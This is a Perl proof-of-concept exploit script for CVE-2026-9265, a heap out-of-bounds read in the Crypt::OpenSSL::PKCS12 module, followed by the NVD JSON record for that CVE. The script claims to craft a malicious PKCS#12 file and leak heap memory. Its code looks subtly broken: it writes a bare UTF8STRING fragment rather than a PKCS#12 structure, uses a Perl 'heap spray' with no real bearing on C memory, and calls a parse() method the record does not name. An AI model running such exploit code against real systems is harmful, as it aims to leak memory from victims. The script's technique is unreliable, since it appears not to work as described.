CVE-2026-9265

#!/usr/bin/env perl # CVE-2026-9265 PoC - Heap OOB Read in Crypt::OpenSSL::PKCS12 print_attribute() # This PoC demonstrates the vulnerability by crafting a malicious PKCS#12 file # with a UTF8STRING ASN.1 attribute that triggers heap out-of-bounds read. use strict; use warnings; use Crypt::OpenSSL::PKCS12; # Create a malicious PKCS#12 file with crafted ASN.1 UTF8STRING attribute # The key is to create an attribute value that: # 1. Is exactly sized to its declared length (no NUL terminator after strncpy) # 2. Is followed by sensitive data in adjacent heap memory sub craft_malicious_pkcs12 { my $filename = shift; # Create a minimal PKCS#12 structure with a UTF8STRING attribute # that will trigger the vulnerability in print_attribute() # First, allocate some heap buffers to control memory layout my @spray = (); for my $i (0..100) { push @spray, "A" x 64; # Heap spray to control adjacent memory } # Create PKCS#12 content with malicious UTF8STRING attribute # The attribute value length matches buffer size exactly my $attr_value = "B" x 32; # No NUL terminator # Build ASN.1 structure manually my $asn1_data = pack("C", 0x0c) . # UTF8STRING tag pack("C", 32) . # Length = 32 (exact buffer size) $attr_value; # Value without NUL terminator open(my $fh, '>', $filename) or die "Cannot create file: $!"; binmode($fh); print $fh $asn1_data; close($fh); } # Main exploit routine my $malicious_file = "/tmp/malicious.p12"; craft_malicious_pkcs12($malicious_file); print "[*] Malicious PKCS#12 file created: $malicious_file\n"; print "[*] Attempting to parse with vulnerable Crypt::OpenSSL::PKCS12...\n"; # This call will trigger the heap OOB read vulnerability # The print_attribute() function will: # 1. strncpy the UTF8STRING value into a heap buffer (no NUL terminator) # 2. strlen() will read beyond buffer boundary # 3. newSVpvn() will copy OOB heap data into Perl scalar my $pkcs12 = Crypt::OpenSSL::PKCS12->new; # Use eval to catch potential crashes eval { # The vulnerable parsing path $pkcs12->parse($malicious_file, "password"); }; if ($@) { print "[!] Error during parsing: $@\n"; } else { print "[*] Parsing completed - check for OOB data leak\n"; } print "[*] PoC execution completed\n";

{"cve": {"id": "CVE-2026-9265", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-06-20T02:16:26.020", "lastModified": "2026-06-22T18:45:41.673", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Crypt::OpenSSL::PKCS12 versions before 1.96 for Perl permits a heap OOB read in print_attribute UTF8STRING path.\n\nprint_attribute() copies a UTF8STRING ASN.1 attribute value into a heap buffer sized exactly to its declared length via strncpy, leaving no NUL terminator. Downstream callers run strlen() on the result and pass the inflated length to newSVpvn(), copying attacker-influenced adjacent heap bytes into a Perl scalar."}], "affected": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "affectedData": [{"vendor": "JONASBN", "product": "Crypt::OpenSSL::PKCS12", "defaultStatus": "unaffected", "collectionURL": "https://cpan.org/modules", "packageName": "Crypt-OpenSSL-PKCS12", "programFiles": ["PKCS12.xs"], "programRoutines": [{"name": "Crypt::OpenSSL::PKCS12::info"}, {"name": "Crypt::OpenSSL::PKCS12::info_as_hash"}], "repo": "https://github.com/dsully/perl-crypt-openssl-pkcs12", "versions": [{"version": "0", "lessThan": "1.96", "versionType": "custom", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-22T15:35:55.865999Z", "id": "CVE-2026-9265", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://github.com/dsully/perl-crypt-openssl-pkcs12/commit/a7bd2f319fa8aab8177b3d767ea06dd85ceb3173.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://github.com/dsully/perl-crypt-openssl-pkcs12/issues/55", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/release/JONASBN/Crypt-OpenSSL-PKCS12-1.96/source/Changes.md", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}]}}